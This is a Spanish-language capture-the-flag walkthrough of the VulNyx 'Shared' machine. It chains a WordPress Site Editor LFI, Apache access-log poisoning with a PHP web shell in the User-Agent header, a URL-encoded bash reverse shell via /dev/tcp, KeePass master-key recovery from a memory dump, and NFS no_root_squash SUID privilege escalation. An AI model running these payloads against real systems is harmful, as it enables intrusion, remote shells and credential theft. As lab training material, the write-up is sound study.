VulNyx - Shared

logo

  • WordPress Plugin Site Editor 1.1.1 - LFI
  • Log Poisoning access.log - RCE
  • Brute Force KeePass - CVE-2023-32784 - KeePwn
  • NFS no_root_squash - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.145

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
34019/tcp open  unknown
41479/tcp open  unknown
41865/tcp open  unknown
48099/tcp open  unknown
48919/tcp open  unknown

Escaneo de servicios

❯ nmap -sVC -p 22,80,111,2049,34019,41479,41865,48099,48919 -v 192.168.1.145

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 9d:c2:e5:b9:bc:86:d4:81:5e:ad:aa:8d:87:a8:ad:5b (ECDSA)
|_  256 6a:d1:8a:c1:4d:f9:0c:4f:c5:f6:21:bb:c9:a6:24:53 (ED25519)
80/tcp    open  http     Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: Apache2 Debian Default Page: It works
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      41865/tcp   mountd
|   100005  1,2,3      42927/tcp6  mountd
|   100005  1,2,3      51255/udp   mountd
|   100005  1,2,3      58830/udp6  mountd
|   100021  1,3,4      41479/tcp   nlockmgr
|   100021  1,3,4      43521/tcp6  nlockmgr
|   100021  1,3,4      46560/udp6  nlockmgr
|   100021  1,3,4      49015/udp   nlockmgr
|   100024  1          39895/tcp6  status
|   100024  1          43989/udp6  status
|   100024  1          48919/tcp   status
|   100024  1          55694/udp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
34019/tcp open  mountd   1-3 (RPC #100005)
41479/tcp open  nlockmgr 1-4 (RPC #100021)
41865/tcp open  mountd   1-3 (RPC #100005)
48099/tcp open  mountd   1-3 (RPC #100005)
48919/tcp open  status   1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Realizando fuerza bruta de directorios encuentro el directorio /wordpress.

❯ wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/big.txt  'http://192.168.1.145/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.145/FUZZ
Total requests: 20476

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                   
=====================================================================
000000017:   403        9 L      28 W       277 Ch      ".htpasswd"                               
000000016:   403        9 L      28 W       277 Ch      ".htaccess"                               
000016220:   403        9 L      28 W       277 Ch      "server-status"                           
000019915:   301        9 L      28 W       316 Ch      "wordpress"

Si voy al directorio /wordpress me redirige al dominio http://shared.nyx/wordpress.

dominio

Añado el dominio a mi archivo hosts para visualizar correctamente la web.

wordpress

Al tratarse de una web creada con worpress lanzo wpscan para enumerar la web.

❯ wpscan --url http://shared.nyx/wordpress

Al terminar el escaneo veo que ha encontrado el plugin site-editor.

site_editor

Busco en internet site editor 1.1.1 y encuentro este exploit.

exploit_site_editor

En el poc del exploit muestra como obtener un LFI mediante una url.

poc

Con curl obtengo el fichero passwd del sistema y enumero varios usuarios.

❯ curl "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd";echo
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
jackondor:x:1001:1001::/home/jackondor:/bin/bash
_rpc:x:102:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:103:65534::/var/lib/nfs:/usr/sbin/nologin
mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
j4ckie:x:1002:1002::/home/j4ckie:/bin/sh
condor:x:1003:1003::/home/condor:/bin/sh
{"success":true,"data":{"output":[]}}

Al tratarse de un servidor apache me voy a /var/log/apache2/access.log y consigo ver el contenido.

❯ curl "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log"
 
192.168.1.15 - - [26/Jan/2024:16:45:05 +0100] "GET /wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log HTTP/1.1" 200 187 "-" "curl/8.3.0"
{"success":true,"data":{"output":[]}}

Uso curl para incrustar código php en el User-Agent.

curl "http://shared.nyx/wordpress/" -H "User-Agent: <?php system('id'); ?>"

Visualizo de nuevo el access.log y veo que se ha ejecutado el comando id.

id_comand

Sabiendo esto incrusto este código php en el User-Agent para ejecutar comandos.

curl "http://shared.nyx/wordpress/" -H "User-Agent: <?php system(\$_GET['shell']); ?>"

Ahora si lanzo de nuevo curl para visualizar el access.log y le concateno la variable shell observo que puedo ejecutar comandos.

logpoisoningOK

Me mando una shell urlencodeada.

❯ curl "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log&shell=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.15%2F4444%200%3E%261%27"

Dejo un netcat a la escucha y recibo la shell.

❯ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.15] from shared.nyx [192.168.1.145] 57126
bash: cannot set terminal process group (608): Inappropriate ioctl for device
bash: no job control in this shell
<ite-editor/editor/extensions/pagebuilder/includes$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Después de realizar el tratamiento para la tty encuentro cp-sharedbbdd.zip en el directorio /backups.

lsla

Con python creo un servidor HTTP para compartir el archivo cp-sharedbbdd.zip.

httppython

Descargo cp-sharedbbdd.zip y al descomprimirlo veo los siguientes archivos.

❯ unzip cp-sharedbbdd.zip
Archive:  cp-sharedbbdd.zip
   creating: EMP41111/
  inflating: EMP41111/KeePass.DMP    
 extracting: EMP41111/sharedbbdd.kdbx 

CVE-2023-32784

Al tener un volcado de memoria KeePass.DMP puedo extraer la Master Key con KeePwn, en esta parte del README explica como usar la herramienta.

keepwn

Abro KeePAssXC cargo el archivo sharedbbdd.kdbx e introduzco la Master Key.

keepassx

La base de datos contiene 3 usuarios con sus credenciales.

usersKeepass

Me conecto al sistema como usuario jackondor.

❯ ssh jackondor@192.168.1.145
(jackondor@192.168.1.145) Password: 
Linux shared 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64
jackondor@shared:~$ id
uid=1001(jackondor) gid=1001(jackondor) grupos=1001(jackondor)

Enumerando el sistema con linpeas.sh encuentro un servidor NFS que tiene montadas 3 carpetas, estas carpetas las monté anteriormente pero no contienen nada de utilidad para la intrusión.

linpeas

Usando el recurso de hacktricks me doy cuenta de que esas carpetas ahora me servirán para escalar privilegios. Siguiendo los pasos de hacktricks me voy a mi equipo y como root creo la carpeta /privesc en el directorio /tmp.

❯ mkdir /tmp/privesc

Monto un directorio remoto ubicado en el servidor NFS con la dirección IP 192.168.1.145 y la ruta /shared/tmp en mi directorio local /tmp/privesc.

❯ mount -t nfs 192.168.1.145:/shared/tmp /tmp/privesc

Entro en el directorio /tmp/privesc, copio el binario /bin/bash y le doy permisos SUID.

❯ cd /tmp/privesc
❯ cp /bin/bash .
❯ chmod +s bash

En la máquina objetivo entro en la carpeta /shared/tmp y veo el binaro bash con permisos SUID.

sharedTmp

Obtengo el root de la siguiente forma.

root

Y aquí termina la máquina Shared.

Saludos!